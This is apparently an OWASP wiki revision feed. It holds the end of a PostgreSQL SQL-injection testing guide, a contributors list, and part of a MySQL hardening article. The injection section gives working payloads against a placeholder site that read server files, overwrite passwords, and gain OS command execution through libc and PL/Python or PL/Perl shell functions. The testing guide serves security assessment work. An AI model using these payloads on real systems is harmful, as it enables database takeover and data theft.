* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When an SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;[[Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Contributors&amp;diff=44168</id>
		<title>OWASP Backend Security Project Contributors</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Contributors&amp;diff=44168"/>
				<updated>2008-10-21T01:00:11Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: New page: = Contributors =  == Project Leader ==  * Carlo Pelliccioni  == Project Contributors ==  * Daniele Bellucci * Erik Sonnleitner * Francesco Perna * Giuseppe Gottardi * Guido Landi * Guido P...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Contributors =&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
* Carlo Pelliccioni&lt;br /&gt;
&lt;br /&gt;
== Project Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Daniele Bellucci&lt;br /&gt;
* Erik Sonnleitner&lt;br /&gt;
* Francesco Perna&lt;br /&gt;
* Giuseppe Gottardi&lt;br /&gt;
* Guido Landi&lt;br /&gt;
* Guido Pederzini&lt;br /&gt;
* Maurizio Agazzini&lt;br /&gt;
* Massimo Biagiotti&lt;br /&gt;
* Pasquale de Rinaldis&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44166</id>
		<title>OWASP Backend Security Project MySQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44166"/>
				<updated>2008-10-21T00:53:26Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Inside MySQL: DBMS' access control and privilege management */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
* Firstly, we will deal about hardening the underlying operating system environment. This is an ultimately essential step towards application layer security, since also the best security mechnism and configuration won't be useful if the whole system is attackable one layer beyond the actual target application. Operating system hardening includes setting right filesystem permissions, the design and implementation of a virtual chroot-jail application executing environment, the use of access control lists as well as a quick introduction about modern virtualization approaches.&lt;br /&gt;
* The next topic will be about cryptography, which we will use to aid and secure our database instance at filesystem level and, possibly even more important, the DMBS' communication channels. This will be achieved using either OpenSSL, OpenSSH or OpenVPN. For encrypting the raw database pages themselves, we'll also take a look about filesystem encryption.&lt;br /&gt;
* Due to some quite aweful security bugs in the past, we'll discuss how the application's memory area can be protected against stack- and heap-smashing attacks for executing arbitrary code on the machine which actually executes the MySQL database server.&lt;br /&gt;
* Then we'll discuss certain security-related MySQL configuration attributes. MySQL is quite straight to configure, but nevertheless there are a few options which inside the configuration files which make life easier - and more secure.&lt;br /&gt;
* Finally the access control and privilege management mechanism of the MySQL DBMS itself will be explored and shown in some detail.&lt;br /&gt;
&lt;br /&gt;
The whole article is based on a paper on MySQL Hardening which can be obtained [http://delta-xi.net/index.php?/archives/23-Hardening-MySQL-on-Unix-like-systems.html here].&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The enormous global increase of information which is to be stored, forces certain approaches of achiving and restoring data, while keeping track of numerous valuable and essential preconditions, e. g. data integrity.&lt;br /&gt;
&lt;br /&gt;
Relational databases are still the common way of accomplishing the storage of masses of information, although its conceptional basics reach back to 1970, where E. F. Codd firstly introduced this method of data handling [Cod70].&lt;br /&gt;
&lt;br /&gt;
As global networking dramatically increased the past decades, the TCP/IP protocol stack has become very popular and nowadays builds the fundamental backbone of the Internet. As conclusion to this tendency, also the way of controlling and operating relational database systems mostly relies on the mentioned protocol suites, with all advantages and disadvantages, inherently given by using them.&lt;br /&gt;
&lt;br /&gt;
Accessability and reliability of information services is often constrained by providing them over the Internet, which should be seen as naturally untrusted and insecure network, since not only permitted persons are able to try to establish connections. With the aspect of Unix-like system environments in mind, I’ll figure out how to secure and harden database systems primarily on Linux, taking MySQL 5 as example, since this software is commonly used and widespread, especially over the Internet, for it is Open Source Software. Except for the description of filesystem encryption, all examples should work also on other POSIX compliant operating systems than Linux.&lt;br /&gt;
&lt;br /&gt;
The language of given sourcecodes should be clear from the context they are mentioned. However, shell scripts are written using the Bourne Again Shell (/bin/bash), and most sources are plain C. When shell command examples are given, every line is prefixed with either # or $. While the hash indicates that the following statement has to be called as root user, the dollarsign commands doesn’t need administrative permissions.&lt;br /&gt;
&lt;br /&gt;
== Hardening the operating system environment ==&lt;br /&gt;
Common Unix-like systems offer a wide range of security related tools and methods for obtaining access restrictions. The configuration of certain software packages like databases is assuredly to be done carefully and with respect to secureness. &lt;br /&gt;
&lt;br /&gt;
Nevertheless, a system-wide security model for protecting information and information services should begin (at least) at operating system level. &lt;br /&gt;
&lt;br /&gt;
A perfectly configured Oracle Database Server, including DMBS account and role management etc., won’t be useful if everybody may be able to simply copy the raw data from the filesystem for obtaining the desired information quickly and easily. For more in-depth information about Unix and the Unix system environment, I’d refer to [SWF05], [Amb07] and [Bau02].&lt;br /&gt;
&lt;br /&gt;
=== Filesystem access restrictions and ACLs ===&lt;br /&gt;
Most suitable filesytems available on POSIX environments provide mechanisms of restricing methods of access in an abrasive way, using (at least) three types of access mode codes, and three ways of describing for whom those modes apply.&lt;br /&gt;
&lt;br /&gt;
The basic filesystem permissions are&lt;br /&gt;
* read (→ 'r'),&lt;br /&gt;
* write (→ 'w'), and&lt;br /&gt;
* execute (→ 'x')&lt;br /&gt;
&lt;br /&gt;
which can be individually referred to &lt;br /&gt;
* the user which is the owner of the filesystem object, e.g. a file or a directory (→ 'u'),&lt;br /&gt;
* the group of persons which belong to the (main) group of the owner (→ 'g' ), and&lt;br /&gt;
* all others (→ 'o').&lt;br /&gt;
&lt;br /&gt;
Taking the major configuration file of MySQL, which is normally found at &amp;lt;tt&amp;gt;/etc/mysql/my.cnf&amp;lt;/tt&amp;gt;, the filesystem rights are given as following:&lt;br /&gt;
  $ ls -lh /etc/mysql/my.cnf&lt;br /&gt;
  -rw-r--r-- 1 root root 3.7K 2007-07-18 00:14 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
The access rights are shown in the string &amp;lt;tt&amp;gt;-rw-r--r--&amp;lt;/tt&amp;gt;. Disregarding the first &amp;lt;tt&amp;gt;-&amp;lt;/tt&amp;gt; character, Unix returns basically a nine-character string, which is to be read in triples, as &amp;lt;tt&amp;gt;rw-|r--|r--&amp;lt;/tt&amp;gt;. The first triple describes the permissions of the owner, the second the permissions of the owner’s group and the third triple refers to all other users. Therefore, only the owner of the file (the root user, the administrator) is allowed to modify the file because of the write permission - users in the same group as well as all other system users may only read the object. The upcoming columns, both entitled as root describe the owner of the object, and group membership belonging of the object. As we see, the &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file is owned by the user root and belongs to the system group root.&lt;br /&gt;
&lt;br /&gt;
The configuration files should always belong to the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; user, and only permit &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; to write on these objects, since nobody else should be able to modify its contents in any way. The right permission settings may be assured by&lt;br /&gt;
&lt;br /&gt;
 # chown -R root:root /etc/mysql/&lt;br /&gt;
 # chmod 0644 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
In dependency on what other configuration files MySQL actually is referring to, the &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt; command may also be applied to other items inside the &amp;lt;tt&amp;gt;/etc/mysql/&amp;lt;/tt&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
==== Storage data ====&lt;br /&gt;
MySQL stores the actual data (tables, etc.) in &amp;lt;tt&amp;gt;/var/lib/mysql&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;$MYSQL/data&amp;lt;/tt&amp;gt; by default. In contrast to the configuration files, the data storage files should not be owned by the administrator, but by a completely unprivileged user, normally called &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt;, which isn’t allowed to to anything else inside the Unix system as what is absolutely necessary. Besides the administrator of course, nobody should be able to read and/or modify these objects, therefore we completely revoke any rights of the others user section and just let &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; read and write.&lt;br /&gt;
&lt;br /&gt;
Moreover, the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user should by no means be able to invoke a command shell. This assures that crackers arn't be able to login at the server system, even if this user has been hacked. Revoking command shells is done within &amp;lt;tt&amp;gt;/etc/passwd&amp;lt;/tt&amp;gt;, by changing the last column of the mysql user from &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;/bin/false&amp;lt;/tt&amp;gt;. The program given here will be invoked when a user has been successfully authenticated by the system.&lt;br /&gt;
&lt;br /&gt;
==== Logfiles ====&lt;br /&gt;
MySQL commonly logs every event, relevant to the database. Absolutely no other users than &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; should be able to read or write the logs, preventing the leaking of information out of the logfiles. For example, certain queries like &amp;lt;tt&amp;gt;GRANT&amp;lt;/tt&amp;gt; may offer sensitive information like user passwords, which are stored plaintext inside the protocol files. The logs are normally owned by the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user, since MySQL needs to write the events here (in contraty to the configuration files, only the administrator should be able to modify, not the MySQL system).&lt;br /&gt;
&lt;br /&gt;
==== Access control lists ====&lt;br /&gt;
ACLs, or Access control lists offer a very granular method of defining and granting permissions. As opposed to the standard Unix filesystem permissions, POSIX ACLs are not built-in in the filesystem device driver (as done in &amp;lt;tt&amp;gt;ext2/3&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;reiserfs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;xfs&amp;lt;/tt&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
The usage of ACLs offers mechanisms for setting up per-user-permissions of single filesystem objects and therefore provide fine-grained definitions of access restrictions, if needed. The corresponding POSIX commands are &amp;lt;tt&amp;gt;getfacl&amp;lt;/tt&amp;gt; for viewing ACLs, and &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt; for setting up an ACL. These features may be useful to add certain permissions to other users (e. g. automatic logfile analyzers). The following example quickly shows the usage of &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt;, allowing the user syslog to write on the MySQL log files:&lt;br /&gt;
  # setfacl -m user:syslog:-w- /var/log/mysql/*&lt;br /&gt;
&lt;br /&gt;
=== Designing a chroot-jail ===&lt;br /&gt;
Even when accurately managing user- and group-memberships as well as read and write permissions to the relevant MySQL filesystem objects, we should assure, that, in case of a successful attack, the system environment does not get compromised in any way. Numerous attacks have been reported on this topic. When talking about attacks, we now commonly mean attacks from within the database system, when users or programs try to gain sensitive system parameters like the &amp;lt;tt&amp;gt;/etc/shadow&amp;lt;/tt&amp;gt; file or logfiles via outfoxing the DMBS.&lt;br /&gt;
&lt;br /&gt;
That’s why we need to create a sandbox-like environment where MySQL runs within and is restricted to. In terms of POSIX systems, this is called a change root - environment, or &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt;-jail named by the corresponding command chroot. In the early Eighties when nowadays keywords like virtualization havn’t been born, Bill Joy introduced the concept of the chroot command which can be seen as forerunner of an virtual system environment.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; basically repositions the global root directory (/) via remapping it into a specific directory of any directory within the filesystem tree. Any commands, applications, users etc. which act within the chroot-environment actually don’t know that they are working in a sandbox and should have no chance for accessing any part of the filesystem outside the jailed area.&lt;br /&gt;
&lt;br /&gt;
==== Manually designing a sandbox ====&lt;br /&gt;
Since the jailed environment won’t be able to access the rest of the filesystem, all relevant system objects like binaries, libraries, the directory structure, logs, etc. have to be copied into the sandbox.&lt;br /&gt;
&lt;br /&gt;
The easiest way to accomplish this by hand, is to get an official static build of MySQL, which doesn’t mandatorily rely on external dymanic libraries (shared objects, respectively) and defines the right directory structure. The first step is to download and unpack the package, as shown here by example of MySQL 5.0.45:&lt;br /&gt;
  $ export MYSQL_CHROOT=/chroot/mysql&lt;br /&gt;
  # mkdir -p $MYSQL_CHROOT&lt;br /&gt;
  # cd $MYSQL_CHROOT&lt;br /&gt;
  $ wget http://$SERVER/mysql-5.0.45-linux-i686.tar.gz&lt;br /&gt;
  $ tar xfz mysql-5.0.45-linux-686.tar.gz&lt;br /&gt;
  $ MYSQL_CHROOT=$MYSQL_CHROOT/mysql-5.0.45-linux-i686&lt;br /&gt;
  $ cd $MYSQL_CHROOT&lt;br /&gt;
&lt;br /&gt;
We have now prepared a basically functional MySQL environment. Nevertheless, we want to have at least a working shell, as well as some system-wide configuration files needed by MySQL. Therefore we need to copy &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to the sandbox. Since the Linux Bash also depends on certain libraries, it’s necessary to find out which libraries are needed, using the &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
  $ ldd /bin/bash&lt;br /&gt;
  linux-gate.so.1 = &amp;gt;    (0xffffe000)&lt;br /&gt;
  libncurses.so.5 = &amp;gt; /lib/libncurses.so.5 (0xb7f8f000)&lt;br /&gt;
  libdl.so.2 = &amp;gt; /lib/i686/cmov/libdl.so.2 (0xb7f8b000)&lt;br /&gt;
  libc.so.6 = &amp;gt; /lib/i686/cmov/libc.so.6(0xb7e42000)&lt;br /&gt;
  /lib/ld-linux.so.2 (0xb7fd9000)&lt;br /&gt;
&lt;br /&gt;
Now we’ll just need to copy the given objects in the corresponding directories of the sandbox. This can be done manually file by file, or simply with the following piece of code:&lt;br /&gt;
&lt;br /&gt;
     $ for i in `ldd /bin/bash | awk '{print $3}' | egrep '^/.*'`; do&lt;br /&gt;
       mkdir -p &amp;quot; ./`dirname $i` &amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
     cp /bin/bash ./bin&lt;br /&gt;
&lt;br /&gt;
Since MySQL also uses some shell scripts, it will also need the following files:&lt;br /&gt;
     $ for i in /bin/hostname /bin/chown /bin/chmod /bin/touch&lt;br /&gt;
           /bin/date /bin/rm /usr/bin/tee /usr/bin/dirname&lt;br /&gt;
           /etc/passwd /etc/group /lib/librt.so.1 /lib/libthread.so.0; do&lt;br /&gt;
       mkdir -p &amp;quot;./`dirname $i`&amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
&lt;br /&gt;
We can now initially start the MySQL Server inside the chroot-environment by calling&lt;br /&gt;
  # chroot $MYSQL_CHROOT /bin/mysqld_safe&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; command now repositions the global root node / for the command &amp;lt;tt&amp;gt;mysqld_safe&amp;lt;/tt&amp;gt;. If an attacker forces to gain access of the system behind the database server, he’s limited to MySQL’s root directroy, which is represented by the &amp;lt;tt&amp;gt;$MYSQL_CHROOT&amp;lt;/tt&amp;gt; environment variable, and pointing to &amp;lt;tt&amp;gt;/chroot/mysql&amp;lt;/tt&amp;gt; of the real filesystem behind the sandbox.&lt;br /&gt;
&lt;br /&gt;
=== MySQL's built-in chroot mechanism ===&lt;br /&gt;
&lt;br /&gt;
The MySQL database server &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; also has a built-in chrooting-functionality which can be given as command line argument before startup. In case of having all important files (including the corresponding directory structure) inside &amp;lt;tt&amp;gt;/chroot_env/mysqld/&amp;lt;/tt&amp;gt;, the following call would force MySQL to programatically chroot to the specified directory.&lt;br /&gt;
&lt;br /&gt;
 # mysqld --chroot=/chroot_env/mysqld&lt;br /&gt;
&lt;br /&gt;
Note that &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; will not be able to start up if the given environment lacks on integrity of needed files.&lt;br /&gt;
&lt;br /&gt;
=== Modern virtualization approaches ===&lt;br /&gt;
&lt;br /&gt;
